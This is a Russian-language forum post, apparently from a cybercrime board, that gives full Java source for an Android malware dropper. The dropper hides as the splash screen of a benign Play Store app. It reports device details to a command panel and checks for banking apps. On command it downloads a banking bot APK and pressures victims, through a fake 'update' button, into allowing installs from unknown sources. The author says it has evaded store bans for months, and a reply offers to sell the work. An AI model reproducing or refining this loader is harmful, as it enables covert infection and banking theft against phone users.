BorisBRITVA 0 Опубликовано: 19 дек 2021 Господа, я не являюсь профессиональным кодером, еще полгода назад я даже не знал что существует ява, поэтому слепил примитивный лоадер. Цена исходников аппа для андроида 10 баксов, цена аккаунта разработчика 25 баксов, а на рынке нет лоадеров, по крайней мере когда вступал на этот путь ничего адекватного не нашел, этот лоадер работает у меня уже 3-4 месяца на нескольких акков, нет ни одного бана. цель выкладывания - довести до ума, кто даст дельные советы, буду переодически обновлять стартовый пост. цель лоадера - минимальным кодом установить бота на тело, я воткнул все в одно активити, которое можно вставить в любое приложение как загрузочный экран часть вырезано, такие сложности как шифрование трафика, шифрование данных в хранилище и прочее не нужное я отказался от сложностей типа фейрбазе и прочих ништяков, так белый апп с маркета в 80% сносят в первые пару дней, нет смысла копить ботов, а вот жирных выцыпить сразу - более приоритетно public class MainActivity extends Activity { private static final String ADMIN_PANEL = "http://127.0.0.1/"; // тут понятно все private final Context mContext = this; // не будем писать сами общение с админкой доверим OkHttpClient нужно только добавить в gradle dependencies эту строку implementation 'com.squareup.okhttp3:okhttp:5.0.0-alpha.3' // OkHttpClient выбран потому, что можно быстро маштабировать под шифрование и кодирование трафика не првязываясь к json, хотя он будет дефолтным private final OkHttpClient client = new OkHttpClient(); private boolean APP_CONNECT = false; // будет ситуация когда лоадер не достучиться до админки, блокнули домен/нет инета и прочее, этой переменной мы отловим эту ситуацию private JSONObject LOADER_DATA = null; // наша главная переменная будет тащить в себе всю информацию private SharedPreferences sharedPreferences; // будем использовать sharedPreferences как самое примитивное и быстрое хранилище для нашей информации @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); sharedPreferences = mContext.getSharedPreferences("localpref", Context.MODE_PRIVATE); loadSession(); // при старте аппа, даем 10 секунд лоадеру, что бы сделать свои дела, если он не достучался до админки либо не смог сформировать данные свои - выходим в белый апп new Handler(Looper.getMainLooper()).postDelayed(this::checkInternet, 10000); } private void checkInternet(){ if( LOADER_DATA == null || !APP_CONNECT ){ startRealApplication(); } } @Override protected void onResume() { /* очень важно при восстановление нашего активти, воссоздать нашу переменную и стартануть какие либо действия, юзер обязательно будет тыкать туда сюда, включать выключать активити, а мы должно держать руку на пульсе всегда */ super.onResume(); loadSession(); } public void startRealApplication(){ //старт реального белого аппа тут RealApplication - имя активити с которого оно должно по умолчанию стартовать Intent m = new Intent(this, RealApplication.class); m.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY ); startActivity(m); } public void updateUI(String step){ /* функция, которая развлекает юзера в процессе работы тут можно по шагам его информировать например * нужно обновить апп * скачивание обновление и какой-то прогресс бар * дай права ставить из неизвестных источников * и прочее */ runOnUiThread(() -> { TextView loaderText = (TextView) findViewById(R.id.loaderText); // просто для вывод какого либо текста что бы скрасить ожидание юзера switch (step){ case "startDownloadFile": loaderText.setText(step); break; case "endDownloadFile": loaderText.setText(step); break; case "needPermission": loaderText.setText(step); Button b = (Button) findViewById(R.id.button); b.setOnClickListener(v -> { startPerm(); }); b.setVisibility(View.VISIBLE); break; case "startInstall": loaderText.setText(step); break; default: loaderText.setText(step); break; } }); } private void sendData(JSONObject data, String status) { try{ data.put("status", status); RequestBody requestBody = new FormBody .Builder() .add("data", data.toString() ) // вот в этом моменте я не отдаю json, так как тут должно быть шифрование общения с сервером, поэтому отдам просто строкой .build(); Request request = new Request .Builder() .url(ADMIN_PANEL) .addHeader("cache-control","no_cache") .addHeader("User-Agent","Mozilla/5.0") .post(requestBody) .build(); client.newCall(request).enqueue(new Callback() { @Override public void onFailure(Call call, IOException e) { } @Override public void onResponse(Call call, Response response) { if (response.isSuccessful()) { try { String resString = response.body().string(); //сначало мы считаем плайн текст, так как тут должно быть тоже зашифровано тело JSONObject res = new JSONObject(resString); APP_CONNECT = true; // коннект с админкой есть if( res.has("action") ){ /* от лоадера мы просим исполнение 3 возможных желаний a. проверить тело на наличии банк аппов b. поставить бота c. тело пыстышка, дрочер, трафер опять наипал нас с качеством */ switch (res.getString("action")){ case "a": // проверяем на теле список аппов полученных с админки массивом JSONArray appsResult = new JSONArray(); JSONArray appsCheck = res.getJSONArray("apps"); for(int i = 0; i < appsCheck.length(); i++){ String app = appsCheck.getString(i); if( isPackageInstalled( app )){ appsResult.put(app); } } JSONObject dataReturn = new JSONObject(); dataReturn.put("botID", LOADER_DATA.getString("botID")); if( appsResult.length() == 0 ){ // бот гавно, ничего нет, запускаем белый апп и сообщаем на админку что нужно трафера покарать dataReturn.put("apps", "none"); sendData(dataReturn,"apps"); startRealApplication(); }else{ // есть банкаппы, сообщаем на админку какие есть и ждем команды следующей dataReturn.put("apps", appsResult); sendData(dataReturn,"apps"); } break; case "b": //нужно скачать и происталлить бота, это процесс может быть чуток долгий, поэтому тут вызовем поток уи и что-то сообщим юзеру updateUI("startDownloadFile"); downloadFile(res); break; case "c": // запускаем белый апп startRealApplication(); break; } } } catch (Exception e) { startRealApplication(); } }else{ startRealApplication(); } } }); }catch (Exception e){ startRealApplication(); } } private void downloadFile(JSONObject data) { // просто скачиваем файл и запускаем установку try { String url = data.getString("url"); //урл по которому качаем файл полученный с админки OkHttpClient client2 = new OkHttpClient(); Request request = new Request.Builder().url(url).build(); client2.newCall(request).enqueue(new Callback() { @Override public void onFailure(Call call, IOException e) { e.printStackTrace(); } @Override public void onResponse(Call call, Response response) throws IOException { if (!response.isSuccessful()) throw new IOException("Unexpected code " + response); InputStream is = response.body().byteStream(); BufferedInputStream input = new BufferedInputStream(is); String cacheFile = createBotID() + ".apk"; // так как каждый будет под себя делать функцию генерации ботИД - просто сгенерируем как имя файла String PATH = Objects.requireNonNull( getExternalFilesDir(null)).getAbsolutePath(); File file = new File(PATH, cacheFile); OutputStream output = new FileOutputStream(file); byte[] buff = new byte[1024 * 4]; while (true) { int byteCount = input.read(buff); if (byteCount == -1) { break; } output.write(buff, 0, byteCount); } output.flush(); output.close(); input.close(); try{ // итак файл скачен успешно, сразу зафиксируем это LOADER_DATA.put("timeFile", 0); LOADER_DATA.put("package", data.getString("package")); LOADER_DATA.put("cacheFile", cacheFile); saveInPreferences(LOADER_DATA); }catch (Exception ignored){} updateUI("endDownloadFile"); startInstall(); } }); } catch (Exception e) { startRealApplication(); } } private void startInstall() { try { if( isBotInstalled() || LOADER_DATA.has("botInstalled")){ // проверим еще раз, точно бота нет на теле startRealApplication(); return; } if( !checkCanRequestPackageInstalls() ){ updateUI("needPermission"); return; } if( LOADER_DATA.getLong("timeStart") + 16000 > System.currentTimeMillis()){ // а вот тут определим 16 секунд между стартами инсталла return; } LOADER_DATA.put("timeStart",System.currentTimeMillis()); String PATH = Objects.requireNonNull( getExternalFilesDir(null)).getAbsolutePath(); File file = new File(PATH, LOADER_DATA.getString("cacheFile")); Intent intent = new Intent(Intent.ACTION_INSTALL_PACKAGE); Uri downloaded_apk = FileProvider.getUriForFile(this, getApplicationContext().getPackageName() + ".provider", file); intent.setDataAndType(downloaded_apk, "application/vnd.android.package-archive"); List<ResolveInfo> resInfoList = mContext.getPackageManager().queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY); for (ResolveInfo resolveInfo : resInfoList) { mContext.grantUriPermission(mContext.getApplicationContext().getPackageName() + ".provider", downloaded_apk, Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION); } intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION); startActivity(intent); new Handler(Looper.getMainLooper()).postDelayed(this::isBotInstalled, 30000); }catch (Exception e){ startRealApplication(); } } private boolean checkCanRequestPackageInstalls() { /* самая слабая точка тут - разрешение ставить из неизвестных источников, кто-то игнорирует этот вопрос и просто заебывает окном, кто-то разводку делает на уровни Ганибала Лектора ну факт есь фактом, это самое слабое звено, я просто кнопку вывожу в активити типа апдейт апп! при нажатии на которую просто перекидывает в сеттинг */ try { return getPackageManager().canRequestPackageInstalls(); }catch (Exception ignored){} return true; } private void startPerm() { //открываем сеттинг для получение разрешение стаивть из неизвестных источников Intent intent = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES); intent.setData(Uri.parse("package:" + getPackageName())); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK ); startActivityForResult(intent,12); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent i) { /* если он нажал назад и не дал нам разрешение - опять выкидываем его, пока не даст либо не уйдет разные версии андроил по разному реагируют, 11 роняет полностью наш лоадер, в этом случаем мы подхватим эту ситуацию в loadSession, да в любом случае подхватим так как сработает onResume ну если юзер дал права, то начинаем ставить */ if( !checkCanRequestPackageInstalls() ){ startPerm(); }else{ updateUI("startInstall"); startInstall(); } } private void loadSession(){ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) { // если меньше 8 версия то нафиг ее, выпускаем в реал апп startRealApplication(); return; } try { if( LOADER_DATA == null ){ // первая загрузка аппа или восстановление, наша переменная обнулена, восстановливаем ее и пытаемся продолжить работу LOADER_DATA = firstStart(); } if( LOADER_DATA == null || !LOADER_DATA.has("botID") || LOADER_DATA.has("botInstalled") ){ /* при любом запуске активити проверим 3 возможных состояния 1. данные не получены, сломалось шифрование или еще чего 2. данные получены, ну нет ботИД, считаем данные некорректными 3. данные корректны, ну лоадер уже выполнил свою работу в этих случаях отдаем белый апп */ startRealApplication(); }else{ if (LOADER_DATA.has("package") && isBotInstalled()) { /* если мы находим в нашей переменой имя пакета бота - то проверим, может он установлен уже ? надеюсь все ставят бота с рандомизированным именем пакета */ startRealApplication(); } else { if( LOADER_DATA.has("cacheFile") ){ //проверим ситуацию, когда файл бота скачен , ну еще не запущен процесс инсталла String PATH = Objects.requireNonNull(mContext.getExternalFilesDir(null)).getAbsolutePath(); File file = new File(PATH, LOADER_DATA.getString("cacheFile")); if( file.exists() ){ startInstall(); // пробуем снова запустить инсталл }else{ sendData(LOADER_DATA, "start"); // запись о файле есть, ну файла нет, может АВ грохнуло, не важно, стучим на админку } }else{ sendData(LOADER_DATA, "start"); // ничего не было из возможных варинтов - стукнем на админку и скажем, что первый запуск } } } }catch (Exception e){ startRealApplication(); // в любой непредвиденной ситуации отдаем юзеру реал апп } } private boolean isPackageInstalled(String aPackage) { /* пытаемся получить данные об установленном аппе, если его нет то выкинет исключение - значит аппа нет ну эта функция работает загадочно, если апп поставлен из маркета - то он выдаст сразу информацию ну если поставлен апп из внешних источников, то нужно время что бы андроид прочитал манифест а когда он это сделаем это загадка для всех поэтому будем двумя вариантами проверять установку бота а для проверки наличия банкаппов это самое идеальное решение */ try { PackageManager b = mContext.getPackageManager(); b.getPackageInfo(aPackage, 0); return true; } catch (PackageManager.NameNotFoundException e) { return false; } } private boolean isBotInstalled() { try{ // первая проверка на установленного бота - пытаемся его запустить Intent launchIntent = getPackageManager().getLaunchIntentForPackage(LOADER_DATA.getString("package")); if (launchIntent != null) { launchIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(launchIntent); return allOk(); }else{ if( isPackageInstalled(LOADER_DATA.getString("package")) ){ // вторая проверка на установленного бота - пытаемся получить данные об аппе return allOk(); } } }catch(Exception ignored){ } return false; } private boolean allOk() { // простенькая функция, подчищающая за собой и сохраняет состояние удачного исталла try{ LOADER_DATA.put("botInstalled","ok"); String PATH = Objects.requireNonNull(mContext.getExternalFilesDir(null)).getAbsolutePath(); File file = new File(PATH, LOADER_DATA.getString("cacheFile")); file.delete(); }catch (Exception ignored){} saveInPreferences(LOADER_DATA); startRealApplication(); return true; } // sharedPreferences private void saveInPreferences(JSONObject data) { /* я специально вынес работу с хранилищем отдельной функцией, так как хранить открытым текстом критичные данные неосмотрительно, вот тут можно зашифровать, ну это дело каждого */ try{ sharedPreferences.edit().putString("myData", data.toString() ).apply(); }catch (Exception ignored){} } private JSONObject loadFromPreferences() { /* вот тут можно дешифровать */ try{ String str = sharedPreferences.getString("myData", null); if( str != null && !str.isEmpty() ){ return new JSONObject(str); } }catch (Exception ignored){} return null; } // END sharedPreferences public JSONObject firstStart(){ try { JSONObject data = loadFromPreferences(); // пытаемся загрузить данные из sharedPreferences if (data == null || !data.has("botID")) { //данных нет, это скорее всего первый запуск, нужно собрать с телефона хоть какую либо статсу data = new JSONObject(); data.put("botID", createBotID()); data.put("model", Build.MODEL); data.put("vendor",Build.MANUFACTURER ); data.put("sdk", Build.VERSION.SDK_INT ); saveInPreferences(data); // сохраним их в sharedPreferences } return data; }catch (Exception ignored){} return null; } private String createBotID(){ //тут формируем ботИД под свое предпочтение, кто-то md5 любит, кто-то строго строки или строго цифры return "exampleBotID"; } } 0 Поделиться сообщением Ссылка на сообщение
88vosem88 2 Опубликовано: 20 дек 2021 Такие спецы как ты нужны, могу продавать свой труд 0 Поделиться сообщением Ссылка на сообщение